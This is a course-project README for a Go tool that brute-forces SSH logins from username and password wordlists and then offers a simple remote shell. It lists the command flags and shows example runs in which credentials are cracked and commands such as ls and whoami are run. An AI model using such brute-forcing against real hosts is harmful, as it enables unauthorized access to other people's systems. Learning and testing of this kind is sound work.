dummysshbruter

A little project of mine for the intensive Go-programming course taught by Tero Karvinen http://terokarvinen.com/2020/go-programming-course-2020-w22/

whatis dummysshbruter

This little project in essence is an ssh bruteforces that establishes a connection to host, with capabilities for a very basic ssh shell and can run simple commands, like pwd, ls & whoami by brute-forcing the remote host with combinations of usernames and passwords

Usage

If you have go installed:

go build

Alternatively, you can run the pre-built binary in this repo for your OS and see the list of flags:

./dummysshbruter --help
-P string
    Wordlist containing passwords. e.g. '/path/to/wordlist'
-U string
    Wordlist containing usernames. e.g. '/path/to/wordlist'
-h string
    Remote host. (default "127.0.01")
-p string
    Remote passwords.
-u string
    Remote username. (default <your system user>)

Examples:

Password and username are not known:

./dummyssh -U users.txt -P passwords.txt -h xxx.xxx.xxx.xxx

 !!!! Connection established! Correct creds are: admin:hunter2 !!!!
pwd
/home

ls
passwordreminder.txt

exit

Exiting...

Username is not known:

./dummyssh -U users.txt -p sleepyhead -h xxx.xxx.xxx.xxx

 !!!! Connection established! Correct creds are: admin:sleepyhead !!!!
pwd
/home

ls
passwordreminder.txt

whoami
admin

exit

Exiting...
